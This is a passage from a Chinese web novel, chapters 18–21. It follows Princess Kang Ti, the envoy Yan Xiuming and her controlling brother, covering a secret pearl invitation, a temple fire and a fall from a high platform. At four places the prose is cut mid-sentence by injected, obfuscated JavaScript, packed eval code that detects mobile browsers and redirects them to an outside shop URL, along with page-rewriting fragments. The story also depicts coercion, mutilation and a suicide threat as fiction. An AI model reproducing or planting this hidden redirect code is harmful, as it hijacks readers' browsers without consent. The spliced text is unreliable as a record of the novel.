严修明笑道:“公主那只,是苑中之鸟,而这车上的羽毛,皆取自山林野翟,自然要亮一些。” “这是为何?”康缇收回手,转而看向他。 严修明看着满车斑斓的羽毛,娓娓解释:“翟鸟养在一处,食性单一,毛色便会淡些。更重要的是……” 他顿了顿,转头注视着康缇,“这鸟与人一样,越是好斗者,越是张扬鲜活。可苑中之鸟食宿无忧,论斗志,不及野鸟一半。须得于林间,逐风竞雨,天光淬炼,方得一身璀璨羽翼。” “呵呵。”康缇轻轻别过头,嗤笑几声,又对他道,“严正使以鸟比人,未免有些狭隘。” 严修明挑了挑眉:“怎么讲?” “‘越是好斗者,越是张扬鲜活’,这话放在男子身上或许使得,但女子不是这样论的。”康缇说话时,下巴微微上扬,挡不住的骄矜。 严修明看着她发亮的眼眸,和不经意流露出的好斗神态,眼中又添了几分笑意:“外臣却以为,女子亦是如此。” “哈!”康缇笑出声来,“我读过《女训》,女子当以贞静柔顺、敦亲和睦为德,可不是你说的好斗。” 严修明点了点头,看似恭谨,可言语间依旧带着点交锋的意味:“公主读过《女训》,可见过那些践行《女训》之人?能恪守前人之训,诚其心志,践行到极致的人,必定也是好斗之徒。” 康缇闻言,渐渐敛去笑意,皱起了眉头:“我不明白,为何将《女训》践行到极致,反而成了你口中的好斗之徒?” 严修明注视着她干净的眸子,不觉心旷神怡,忽然温声问道:“外臣也不明白,为何公主能十年不发一言?” 话题怎么扯到这儿了? 康缇眨了眨眼,半晌才琢磨出话中深意,心中突然有一种被点破心事的微妙悸动:“你,你在说我好斗?” “外臣不敢,只是随口一问。” 两人对视一眼,也不知是谁先牵动了嘴角,竟都放声笑了起来。 18. 好斗之徒(2) 笑过一阵后,康缇这才发现,今日阳光甚好,暖融融地镀在身上,先前那些郁气似乎消散了一二。 她嘴角带着惯性的笑意,清了清嗓子:“这礼车修缮得甚好,有劳诸位上使费心。诸位远道而来,我作为西康公主,尚未能好好款待,实在有些过意不去。稍后我会命西华馆备下薄酒便宴,也算尽我一点地主之谊。只是我不便亲自列席,还请诸位上使自便。” 公主一番盛情,看似周到,可落在一众雍臣眼中,却荒唐得很。哪有待嫁的公主,私下设宴,款待外邦使臣的? 几位属官相互挤眉弄眼,心下无不嘀咕:这位西康公主,疯的时候骇人,不疯的时候,也癫头癫脑的。 唯独严修明,看了周兆安一眼后,便躬身道:“公主盛情,外臣等却之不恭。” 众人都愣住了。西康公主行事出格也就罢了,严国公居然由着她。 康缇并未察觉众人神色有异,她只看严修明,对他微微颔首,笑意在眼底微微漾开。接着,她不再多言,转身上马,带着婢女和侍卫,继续璇玑塔的方向去了。 刚走出没几步,她突然想约严修明闲谈,便勒住马,拔下头上的簪花,将上面嵌着的一颗珍珠扣了下来,递给婢女。并令其即刻折返,寻个空隙,悄悄交给严修明。 窦韦应声而去,悄悄走到严修明背后:“上使大人。” 严修明转身,见是康缇身边的婢女,目光下意识地投向她离开的方向。那抹红绡已经策马走远,像一片孤霞没入街角。 他收回目光,问道:“可是公主还有吩咐?” 窦韦抬眼,迅速扫了一眼他身旁众人。严修明会意,对周兆安略一颔首:“有劳周使先盯着试车,我去去便回。”说罢,他便引着窦韦,稍稍走开几步,至馆强旁的僻静处。 “上使大人。”窦韦摊开手心,露出那颗温润的珍珠,“公主有一物,命我交由大人。” 严修明心头倏然一动。 他迅速取走珍珠,紧紧攥在手心。作别窦韦后,他快步回到人群,满心都是这颗珍珠。 西康公主,又一次发出了邀请。 去,还是不去? 犹豫之时,周兆安悄无声息地凑了过来,压低声音唤道:“严国公?” “作甚,吓我一跳。”严修明回过神来,轻嗔了一句。 周兆安问:“方才那婢女,同您说些什么?” “哦,也没什么。”严修明道,“不过是些许客气话,让咱们务必尽兴。” 周兆安面色变得忧虑,声音压得更低:“严国公,不是我说您,方才您就不该应下公主这私宴。你我身为使臣,最忌与和亲公主私下往来过密。朝中耳目众多,若被有心人探知,编排起来,轻则失仪,重则恐有攀附后宫、意图不轨之嫌。” 严家世代官宦,严修明自然明白其中利害。可他已经应下了,也只得笑着解释:“你也见了,那西康公主是何等乖戾任性?想一出是一出,全然不知体统。方才她那样闯了过来,我有什么法子?硬拒了,倒显得我等不识大体。对付这等行事荒诞之人,就顺了她的意,少生事端罢了。” 他故意用刻薄的言语,掩盖自己莫名其妙的私心。 周兆安仍旧不放心:“可是人多口杂,不可不防啊。” “周使多虑了。今日在场者众多,都吃了公主的似宴,谁也跑不了。” “话不是这么说的。”周兆安眉头蹙得更紧了,“严国公呐,你真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087806|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不懂朝堂那些老狐狸。他们得了信,不论真假,定要借题发挥的。” 闻言,严修明突然想起了父亲。当年他左迁之事,也确实多亏了那帮老狐狸。 想到这,他长叹一口气,又道:“你我行事是否逾矩,论不论罪,归根结底,还要看陛下圣意如何。君心似海,欲加之罪,名目多得是。反正已经应了公主,与其想那么多,不如踏踏实实吃了这一顿。” 说罢,他拍了拍周兆安的肩膀,扬长而去。 夜色渐深,西华馆内,灯火次第亮起。 卧房中,严修明并未就寝,而是在房中踟躇踱步。床榻上有一件麒麟褐色圆领袍,是他的私服。天黑前,他特意命人找出来的,磨蹭到现在一直没换上。 先前应了康缇的私约,纯属一时冲动。可这种事毕竟不合规矩,总不能一直冲动吧。尤其是重返京师的机会,近在眼前。若此事一步行差踏错,只怕前途更加无望了。 他信步踱至窗边,向远处望去。璇玑塔静静矗立在夜色中,塔上有灯火未熄,微光如那颗珍珠。 她还在等吗? 时辰一寸寸流逝,深空下的璇玑塔,愈发清冷孤寂。 塔内,康缇斜倚在窗边的软榻上,手边摊着一卷书,半晌未曾翻动一页。她不时瞥向窗外,西华馆内的灯几乎都熄了。看来他不会来了。 一直失落感,让屋内多了些许凉意。康缇拢了拢身上的外袍,看着夜空发呆。 “上使大人。” 外间传来婢女的声音。 康缇心下一动,倏然转身,只见门口帘子被轻轻掀起,一道熟悉的身影出现,正是严修明。微弱的灯火,照在他浓云般的眉眼,更显得眼窝深邃,神光内敛。 19. 好斗之徒(3) 这夜,无眠。 严修明仰头躺在床上,静静的,一动不动,两个深邃大眼一直睁到天亮,手中还攥着一颗珍珠。 一整晚胡思乱想,突然想起一件事——大婚所用器物中,有一批礼器还未核对。两国联姻,这么大的事,任何细节都不能马虎。今天必须去趟西康王宫,将此事办妥了。 于是,他翻身下床,沐浴盥洗,梳头更衣,将一夜生出的胡青,刮了又刮,待整个人收拾得清爽利落,才揣好那颗珍珠,乘车前往王宫。 另一边,康朔又在康缇的寝宫,守了一夜,严修明在偏殿等了许久,他才缓步而来。 “严正使一大早来,可有什么要事?”康朔带着一脸疲惫进来,也不看人,径直往主位坐下,顺手指了指下首客座,示意严修明坐那去。 严修明颔首入座:“昨日我核对礼册名录,见有一批礼器没有朱批,特来请康王核准。” 康朔这才抬眼看向他,愣了片刻。 “就为此事?” “正是此事。” “值得你亲自跑这一趟?还非得见我?” “职责所在。” “……” 康朔真不想搭理他。 他唤来一名内侍,命他转告译礼馆主簿赫连文,即刻核对补录,午前呈报。接着又向严修明:“可还有别的事?” “呃……” “但说无妨。” “昨夜,璇玑塔……” 一听这开头,康朔就知道他要说什么,脸色一下子变了,语气也变得不耐烦:“昨夜无事,不过是小妹贪嘴,多食了几盏杏酪,腹中不适罢了。” “公主现下如何了?” 康朔知道妹妹昨日白天与严修明等人见过,怀疑就是这帮雍使说了不中听的话,才激得康缇那样纵酒。 想到这,他气不打一处来,语气也变得更加硬冷:“严正使为何如此关心小妹?” 严修明回道:“康缇公主毕竟是大雍新妃,她若有什么闪失,我等实在担待不起。” “哼,你们知道轻重就好。” 二人说这话呢,突然就听见外面急匆匆的脚步声。一抬眼,只见一名内侍踉跄地跑进来,扑跪在地上,上气不接下气:“王、王上,公主殿下醒来后直奔太庙,请走了先王和先王后的牌位,我等上去劝阻,她……她抄起铜灯就摔,灯油火星溅得倒出都是,把太庙给点着了。” 康朔闻言,心口扑通扑通直跳。 那可是太庙,供奉着康氏列祖英灵、承载着西康历代荣耀的神圣之地。那里的一砖一瓦,皆是血脉所系;一盏一器,尽是尊严所托。就连康朔自己,也须沐浴斋戒后,才会踏入。 因此,抢牌位、摔礼器、烧太庙,单拎出哪一件,都是亵渎祖宗的大罪,都够他发一阵火。而康缇,他的好妹妹,他的心头肉,就这么一会儿工夫,把这三件事都办齐了。 有时候康朔在想,康缇长得娉婷婀娜,其实就是属藏獒的,下次打仗该把她带上,放出去能咬死一大片。 他捂着胸口,喘着闷气,强行从疲惫混沌的头脑中,拽回一点清醒和理智,便嚯地起身,一路冲向太庙。 另一边,严修明的心也扑通扑通跳。但他和康朔不一样,他是在心里放爆竹,噼里啪啦把一夜的愁绪都炸开了,那叫一个痛快。 于是,他也提带撩袍,跟着去看热闹了。 但是,这里是西康王宫,哪能任凭一个外邦使臣在里面瞎溜达。前殿后有一宽院,将前朝与太庙、后宫隔开,这便是他能达到的极限。 严修明停在月华门口,抬头看着面前朱漆门洞,心绪纷乱又澄明。纷乱,因为不得法子去太庙看热闹;澄明,则是猛然间有了一个清醒的意识——此番入宫,核准礼器只是糊弄自己的借口,他本心就是想见康缇来的。 是啊,若非想见她,又怎会跑到这院子里。 不该这样的。 他缓缓转身,去了一旁的廊道,倚在栏杆上,抱着双臂发呆。片刻后,他猛然想起什么,又从衣襟内掏出那颗珍珠,放在掌心中端详。 “兴许她是碰上难处了?” 严修明心中一亮。 肯定是这样的。公主与西康王不睦,遇到事情没个商量的人,才私宴雍使的。吃了公主的宴。不,是雍妃的宴,理应为雍妃分忧解难。这是职责所在。 想通后,严修明揣起珍珠,挺直脊背,再次看向那月华门。 他毕竟是大雍的严国公、从一品公爵、开国元勋之后,闯一个属国的王宫,又能怎样?西康王再强势,还敢杀了他不成?再者,他顶着“严”姓,正是来威慑康朔的。 于是,他迈开四方大步,踩着一块块青石板,朝那门洞走去。 恰在此时,门洞处突然起了一阵疾风。只见一抹朱樱色,“唰”地从门内侧窜出,带起阵阵香气。 严修明被这抹朱樱逼得,不得不顿住脚步。他抬眼定睛,那朱樱身影正是康缇。她散发赤足,怀中似乎抱着个什么东西,疾步飞奔,绣金华服如一团流火,衣袖裙摆上下翻飞,好似长了翅膀。 一瞬间,严修明想起了家中的红腹锦鸡,以及昨日二人的对话。想来那锦鸡若能全须全尾地飞走,大抵也就是这般风景吧。 严修明看着康缇的背影,兀自笑了:“真不愧是她啊。” 公主前面跑着,后方十多个侍卫也从月华门内涌出,紧追不舍。一路追到前殿广场东侧的元台。那是康朔颁布诏令之处,有一丈多高,台周三面设有石栏。 康缇顺着台阶爬上高台,回头见侍卫一一追来,便翻身跨出石栏,踮着脚踩在边缘,一手把着石栏,一手抱着两块牌位,才令身子勉强悬在那里。 “退下!”她嘶声高喊,发丝在风里狂舞,“谁再上前一步,我就从此处跳下去!” 众人慌忙止步,屏着呼吸,不敢再动,只死死盯着公主单薄的身影,生怕一点风吹草动惊着她,再失足掉下去。 僵持之际,康朔赶来了。他拨开人群挤到最前,见康缇犹如困兽一般,眼中不断淌出泪水,顺着她高扬的下巴,滑到脖颈。那倔强而破碎的模样,实在令人心疼。 “缇儿,过来。”他压低声量,尽量克制情绪,“有什么不痛快的,告诉王兄,我替你出气。” “哼,”康缇冷笑,“我这口气,你可出不了!” “说什么糊涂话呢?”康朔眉头紧锁,“我帮不了你,还有谁能帮你?” “没人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113355|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能帮得了我,还不是因为你!”康缇的叫喊声阵阵发颤,“你什么事都替我安排得妥妥当当,把我围得密不透风。我有眼睛却看不到,有耳朵却听不见,有嘴却不能说……我要这身皮囊有何用?” “你在说什么,好好的怎么又发疯了?” 一听见“疯”字,康缇的理智像被点着了,这一次她才是真的要疯了。只见她猛吸一口气,连声吼道:“你才是疯子!你是疯子!你是疯子!你是疯子……” 她吼得气血逆涌,冲击着薄薄的喉咙,声音几度撕裂。 可康朔却依旧保持着平静,目不转睛地盯着康缇。他甚至暗中盼着康缇彻底失控。人越疯,越无法设防。他便越有机会冲上去,将她拽离石栏,拽回自己身边。 许是昨晚喝得太多,酒意未消,加上方才吼得力气太大,康缇忽然感到一阵眩晕,眼前发黑,不得不止住嘶吼,大口大口地喘息。此刻,她脑海中一片空白。 这是她最舒适的时候。 每次都是这样,只有折腾自己,发狂发癫,耗尽所有力气,随之而来的虚脱感,才能令她平静下来。 另一边,康朔看出她面露疲态,尝试向前迈了一步。 “站住!”康缇强打精神,用尽剩余力气狠狠盯住王兄,“今日若非我自愿下来,否则,你们谁也别想碰我一下。” 康朔听了这话,心下了然。小妹这是要跟他讲条件了。 虽然他极度厌恶被人要挟,但既然康缇开了口,说明转圜余地很大,不妨听听。 “你说说,要我怎样,你才肯过来?” “此去大雍,我要带走父王母后的牌位!”康缇的声音已经变得沙哑了。 “胡来!”康朔断然拒绝,“父王母后的牌位供在太庙里,方是一国之本。你就这样带走,岂不成了两块木头?如此,何以对得起父王母后?” “康朔,你是真小气,两块木头都不愿给我?”康缇委屈道,“你把我送去那么远的地方,没有一个可亲可信的人,我和孤魂野鬼有什么区别?我连个念想都不能有吗?” “缇儿,你听话。”康朔试图安抚她,语气却更加强硬,“真没必要争这两块木头,你好好想想,若有别的可心的,王兄会给你的。” “好啊。”康缇止住眼泪,“我要你取消和大雍的婚约,我要留在西康,你是王,我也得是王!” 康朔皱了皱眉,不禁笑了一声,心说这般荒唐的要求,不就是闹小孩脾气吗?这也就是康缇,是亲妹妹,要是换作别人跟他胡闹,他非得命人抽她一顿鞭子。 于是,他定了定神,温声笑语道:“好好,王兄答应你,你先过来。” 康缇见他应得如此痛快,就知道他没当真,便更加生气了:“我不是在说笑!你现在就拟旨,就在这元台,当着所有人的面宣告。还要告祭先祖,授我金册宝印!还要派遣使臣,前往大雍都城,请雍帝亲赐诏书,承认我的王位!自此以后,西康以乌山为界,你我分而治之!” “胡说!” 康朔也吼了一声。 “你这是造反!” “我就是造反,你来杀了我啊?!” 光脚不怕穿鞋的。康朔再强势的人,也斗不过一个不要命的。 20. 好斗之徒(4) “乌山为界,分而治之。” 这可不是康缇一时兴起说的狂言。她很早便有这个想法了。 在记忆的最深处,父王端坐于王位之上,左右便是她与王兄康朔,康氏两代人,一同接受万民朝拜,荣耀至极。 后来父王薨逝,王兄继位,她便被王兄抱在膝头,看着西境十六部首领伏跪于地,口中满是赞颂之词。那时,她以为待自己成年后,也会成为王兄那样的君主,兄妹二人共治山河。 正因如此,她才特别在意王兄身侧的位置,才会在格青取代自己时,那样憎恶她。 随着光阴流逝,年岁渐长,她才明白,那不过是孩童的幻想。格青取代不了她,格青从未拥有过那个荣耀至极的位置。康缇也没有。 是幻想,总要醒的。 懂事后,康缇便再没幻想过。 而今日再翻出来,也只是因为一个婢女,便是红熙。 一夜醉酒,早上醒来,头还是昏昏沉沉的,嗓子也干得难受。 这时,红熙已经递来一杯温茶,甜甜的,里面加了蜂蜜。 她像往常一样伺候康缇梳洗,甚至比往日更加细致,更加尽心。康缇怔怔地看着她,竟突然生出一种相依为命的感觉,不禁问道:“红熙,我要嫁去大雍,你可愿意随我一起?” 作为公主的贴身婢女,红熙自然要跟随主人出嫁。这一点毋庸置疑,无需多问。可康缇就要问上一嘴。她想听些温暖贴心的话,一两句便好。既然是毋庸置疑、无需多问的事,总不会再次被拒绝吧? 然而,红熙竟然沉默了。 作为土生土长的西康人,她不愿背井离乡。更何况,她与别的婢女不同,她是被康朔临幸过的。 西康王宫里,前有何瑛姃,一朝飞上枝头变凤凰,难道就不能再多她一个红熙吗? 康缇得知她的想法后,心中是又痛又恨。 她痛的是,自己的贴身婢女,竟这么轻易地被康朔抢走了。恨的是,红熙怎么就这么笨,竟看不透王兄的临幸到底意味着什么? “蠢货!”康缇骂道,“你觉得这世上有几人像何瑛姃那般幸运?” “可万一……奴婢还是想试一试……” “根本没有万一!”康缇厉声打断她的话,“倘若真有万一,王兄怎会下令‘不留种’?” 红熙眼眶中渗出盈盈的泪光:“可王上……王上待我那样温柔,夜里奴婢脚凉,他便起身靠在床头,将奴婢的脚抱在胸前暖着。那可是王上啊,寻常男子也未必这般细致!” 康缇听着红熙讲述二人房中之事,脏腑之间再次涌起一阵恶心。 她跑到柜子旁,“哐”地一下打开柜门,从里边翻出一个包裹,三两下将包裹皮撕开,扯出那件莲纹衣裳,狠狠地甩到红熙面前:“这可是你穿过的?” 红熙看着那熟悉的衣裳,心都要从嗓子眼里跳出来了。她没想到,康缇竟知晓了一切。 “我……我……”她惊恐地看着自己的主人,喉咙像是哽死了,说不出话来。 康缇强忍着胸口的憋闷与恶心:“你给我清醒一点!王兄待你百般温柔,到底是为了什么?你难道不知道吗?” 红熙看着衣裙后片上那抹血迹,心中愧疚到极点,以至于失声痛哭起来:“对不起!奴婢有罪!奴婢该死!奴婢有罪!奴婢该死……” 康缇看着她跪在地上,头深深埋在那堆衣物中,哭得那样诚恳,也不忍心责怪。她退后几步,坐在一张椅子上,缓了半天。 待心绪稍稍平复了一点,她又走到红熙面前,蹲下来,伸手略微抬起红熙的脸:“我不怪你,我怎会怪你?我只想问一句,你可愿随我去大雍?” 红熙依旧选择了沉默。 康缇看着她坚定的眼神,大为不解,瞪着一双迷茫的眼睛,来回打量红熙,仿佛不认识她了。 “为什么?”她声音低弱,还有些许颤抖,“大雍是天朝之地,你随我去那里,定是锦衣玉食胜过此地。你为何不愿?难不成,你真盼着当第二个何瑛姃?” 红熙勉强止住哭泣,挺起脊背,轻轻地点了点头。 见状,康缇抬手赏了她一巴掌,将她整个人掴倒在地。 “愚蠢至极!” 她用尽力气,沉沉地喝出这几个字,每说出一个字,都像从嘴里吐出一块石头,狠狠地砸在红熙身上。 “公主殿下,我对不起您!”红熙来不及回正身体,便蜷缩起来,俯跪在主人脚边,“公主殿下,红熙罪该万死,您要杀要剐,我绝无怨言!” “你要我处死你?”康缇露出一抹苦笑。 她受了天大的屈辱,也从未想过拿红熙出气。可这个婢女,竟不把自己的仁慈当回事。 “我才不会处死你。你死在我手上,王兄还当是我嫉妒你能同他一夜春宵呢。” “公主,”红熙抬起头,“公主仁慈,若留我一条命,您让我去哪儿,我就去哪儿。天涯海角,绝无二话。可您若问奴婢自己如何打算,我不愿去大雍,只想留在王宫。” 康缇见她这般执拗,气得胸口阵阵刺痛:“是我疯了,还是你疯了?你留在这儿,难道真能一夜爬上枝头吗?西康王宫那么大,那么多婢女,难道人人都可以成为何瑛姃吗?” “别人我不知道,但我……与公主同岁。那晚借了您的机缘,能替您一次。待您嫁去大雍后,王上心中思念,兴许就有第二次。王上总归需要一个睹物思人的物件,我便是那物件。” 康缇哑口无言。 她实在不懂,竟有人能说出这番自我贬损的话。 “贱骨头!你就甘当一个物件?” 话说到这份上,也算敞开心扉了,主仆俩也没什么好隐瞒的。红熙不卑不亢道:“既然我生而为奴,便要做那最贵的奴。” 一句话,怼得康缇哑口无言。 原来,这世上有的是疯子。只不过平日里,所有人都比她装得好。 康缇不再多言,她像个久病初愈的人,拖着那身染血的衣裳,来到了太庙。她跪在蒲团上,久久凝望父王母后的牌位,凝望着西康的图腾——一只三爪金雕。 传说中,三爪金雕骁勇好斗、执着坚韧。它盯上的猎物,绝不放手,哪怕那猎物顽抗挣扎。它甚至会与比自己大的猎物同归于尽。 西康人的骨血里,都是如此疯狂。康缇作为西康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118115|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主,更应如此。 今日,她必须要得到一样东西,一草一木、一砖一石都好,必须是完完全全属于她的东西,必须是能够常伴身边、不离不弃的东西。 于是,她请走了父王母后的牌位,也有了后边的事。 ﹡ 此时此刻,她赤裸着脚尖,点在元台的边缘,望着康朔气急败坏的样子,心中志得意满。 可康朔岂是任人拿捏的? 他第一次看着自己的妹妹,目露凶光:“康缇,你现在从栏杆那边过来,我既往不咎。可你若继续妄为,休怪本王翻脸。” 康缇迎着他的目光,露出挑衅的笑容:“我倒要看看,你是怎么不客气的。” 康朔面色铁青,不言不语,视野中只有康缇,仿佛要将她朱樱色的身影,定死在眼中。他静静站着,呼吸渐渐平稳,脸上没有任何表情,心中却早已刮起一阵风暴。 他悄悄设想了最坏的结果,一个血漫元台的结果,竟分外甜蜜。 于是,他撩起衣袍,抬起右腿,向前稳稳迈出一步。 “你别过来!”康缇喊道。 康朔置若罔闻,左腿抬起,又踏出一步,走得那样决绝。 “康朔!你想干什么?”康缇瞪圆了眼睛,心中惶恐不安。王兄的举动,已然偏离了她的预设。 “康朔!你再过来,我真要跳了!” 康朔步伐坚定,看着妹妹的目光,因为太过炙热而显得咄咄逼人。 “你不会跳的。”他的语气极其平静,“我太了解你了,你不会跳的。” “你凭什么说我不会?” “凭我是你王兄。凭我最爱你,你也最爱我。” “……” “怎么,我说错了吗?”康朔脸上浮起笑容,淡淡的,特别渗人,“若非如此,你怎会有胆量一次次挑战我?难道不是笃定我对你的宽容?你口口声声说我专横,却从没想过逃离,难道不是贪恋我给予的富贵与庇护?康缇,你比格青差远了,她至少还有赴死的勇气。” 阿史那格青,那个谁都不愿提及的名字,在她安眠多年后,又被康朔拿出来,当作一把刀,往妹妹心口捅去。 “我为何要同她比?我为何要有赴死的勇气?”康缇明明气急败坏,语气却有些发虚,“你、你……分明是你根本不在乎我的死活!” “我当然在乎!”康朔脱口而出,“你若跳下去,我也跳。你摔残了身子,有我陪着。你若身死,我也不活。如何?” “疯子!你真是疯子!” “缇儿,我作为你的王兄,自问仁至义尽。你想如何作闹,我都由着你,甚至亲自陪着你。”康朔的声音低了下来,却更令人毛骨悚然,“告诉你一件事。你装哑十年,我一直都知道。” 这一句话,好似一记闷雷,劈在康缇心口上,劈得她慌了神。 “什、什么?” “我知道你装哑。但既然你不愿开口说话,我也不勉强。我会用我的方式,治好你。”康朔脸上渐渐洋溢起幸福的微笑,“好缇儿,我真没想到,你能做到如此地步。十年啊,我等了你十年。你开口叫我一声王兄,可知我多高兴?” 21. 好斗之徒(5) 康朔步步逼近,扯开了横亘在兄妹之间最深的仇恨。 十年前,康缇目睹了王兄手持利刃,割去王嫂的舌头之后,当场就病倒了。 回宫当夜便起了高热,身如焚炭,唇际燎起一圈水泡。一连三日,汤药灌下去都不见好,人始终昏昏沉沉的。 康朔日夜不眠,不是守着康缇,亲自试药,就是跪在太庙,求神明护佑。甚至还到处张榜,广召天下能人,救治妹妹。 终于,一游方术士揭榜献策:西北雪峰深处有一凶兽,名曰寒狰。其胆入药,可镇惊邪,愈心焚。 此言一出,满堂哗然。 众臣以为,寒狰乃传说中的凶兽,盘踞雪山之巅,凶悍异常,此番去寻,只怕是有去无回。而康朔听罢,只吐出四字:“备马,取弓。” 他亲率精锐深入雪山,历经两日,果真寻得寒狰。 这畜生通体苍青,形如巨豹。众人与它恶斗至深夜,十余名兵士葬身兽爪之下,康朔的左臂也被撕开一道伤口,骨头都露了出来。 最终,他以身为饵,将淬了毒的短刀从寒狰下颌贯入颅脑,才将它杀死。 从这凶兽身上摘下的胆,被快马加鞭送回宫中。巫医以秘法炼制,给康缇服下。不过两个时辰,高热渐渐消退,次日清晨,康缇便醒了过来。 又一次失而复得。 康朔僵立在榻边,如蒙大赦一般,喜极而泣。他颤抖着,将妹妹紧紧搂在怀中,大声抽泣着,完全不顾及君王威仪。 康缇安静地依偎在王兄肩头,小手无意识地动了下,恰好触碰到他左臂包扎的伤口。她微微张口,却发不出任何声音。 康朔眼前一黑,心口像插了一把生锈的刀。他无法接受,自己拼了性命救回来的妹妹,再也喊不出一声“王兄”。 这位君王发誓,无论如何都要治好妹妹的哑疾。 第一年,他试遍了所有的巫医和偏方,各种汤药、针灸舌底、舌血汤、生吞燕子蛋、喊魂借声……可康缇不仅没开口,更是抗拒所有治疗。若是被王兄逼急了,便开始绝食。 第三年,城中开始流传一种说法,称公主的哑疾,是当年强取寒狰胆,触怒了雪山之灵,降下了诅咒。康朔得知后,便亲手砍了当年那个游方术士的头。 第四年,一位僧人被请进宫,见过康缇后,得出结论:“公主是吉星入命,但误服寒狰之胆后,阴煞污了本源,以至喉窍闭塞。需在城中清净处建高塔,聚敛清气,令公主于塔中澄心自观,净化业障。” 于是,康朔即刻征调能工巧匠,斥巨资修建了璇玑塔。塔成之日,他亲自将康缇送入其中,原本满心期盼着,待到妹妹出塔之日,听她唤一声“王兄”。 ﹡ 如今,听了康朔的话,再回溯往事,康缇顿时感到毛骨悚然。 一开始,她确实哑了。但那不过也只是大病初愈的一点余症,养上几日便好了。康缇也不知道,医馆也看不出来,唯有康朔,越挫越勇。 那一刻,康缇才意识到,王兄要的是一个无瑕的自己。 这个结论令她备感失落。因此,她主动选择沉默,以此验证,王兄是否真的爱她。 十年了,康缇越来越迷茫,她根本看不行康朔,但她能肯定一点:自己就是严修明提到的那只红腹锦鸡。 她长达十年的沉默,在王兄的控制中,不过是一场奇观。 康缇看着眼前步步逼近的王兄,只觉得无比陌生。不仅是王兄,连这周围的宫墙、天空都是陌生的。 “我……”她扶着石栏的手,抑制不住地发抖,“我不懂,你到底……” “嘘。”康朔的声音轻柔得像在哄睡,“别怕,缇儿,王兄这就来了。” 他越走越近。 康缇进退维谷,胸口因剧烈的情绪不断起伏,结果一不留神,怀中一块牌位滑脱,“哐”的一声,掉落下去。 她惊惶地回头,看向台下。 一身着紫袍、膀阔三庭、端方英挺之人,正候在元台之下。 正是严修明。 他不知从哪儿弄来一杆长枪,横夹在右臂间,独自站在空荡荡的夯土场上。那枪尖锃明瓦亮,闪着锐光,同他深邃的眸子一样。 两人目光相接的刹那,严修明浓眉一动,接着单手旋起枪花,一扬一放。“噌”地一声,枪尖直直地贯入土中,顿时溅起一身尘灰。再看那枪头,足足扎进去三寸多。 枪杆受力震颤,嗡鸣不止。严修明张手,一把握住,腕上青筋一跳,那嗡鸣声立即止住。 康缇怔住了。 她都不知道严修明什么时候进的宫,怎么就突然冒出来了。而他此刻持枪而立的样子,不似使臣,倒像一位临阵的将军。 他究竟为何而来? 严修明并未多言,只深深望了她一眼,忽然从衣襟里取出一物,紧紧攥在掌心,而后高高举起,摊开一看。 一颗珍珠,在他掌中温润生光。 康缇的心猛地一跳。 他是……赴约来的? 她看着严修明,那双深邃浓郁的眼睛,似乎有一点红影,惊惶的、决绝的,也是孤注一掷的。 她知道,那是自己的影子。 只消一个眼神,便已胜过千言万语。 “康朔!”康缇骤然回头,看向步步紧逼的王兄,露出一个戏谑的笑容,“你看好了!” 话音未落,她紧扣石栏的手忽然松开,并向外推了一把。紧接着,身体便如一只纸鸢,向元台外倒坠而去。 “缇儿!” 康朔的声音划破周遭紧张的气氛。他看着妹妹的身影一下子没入元台边缘,疯了一般,飞扑到栏杆边,半个身子都探了出去。 他向下张望。 只见严修明后退两步,猛地疾冲,一脚踏在元台石壁之上,借力腾空而起,一只手臂张开,一把接住康缇,将她搂在怀里。另一只手凌空探向枪把,一把握住,借着长长的枪杆缓冲,顺势下落。 衣袂翻飞间,康缇朱樱色的裙摆与严修明的紫袍在空中交缠,刺痛了康朔的眼睛。 待二人落到长枪半腰时,那细长的枪身终于不堪重负,“咔嚓”一声,断成两截。 严修明本能地收回手臂,护住康缇的后脑,背脊微弓,以身为盾,将她包裹在自己的身体里。 “砰!” 两人结结实实地摔在夯土地面上,又顺着余势翻滚数圈,方才止住。四周一时间尘土暴扬。 康朔僵在原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122342|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 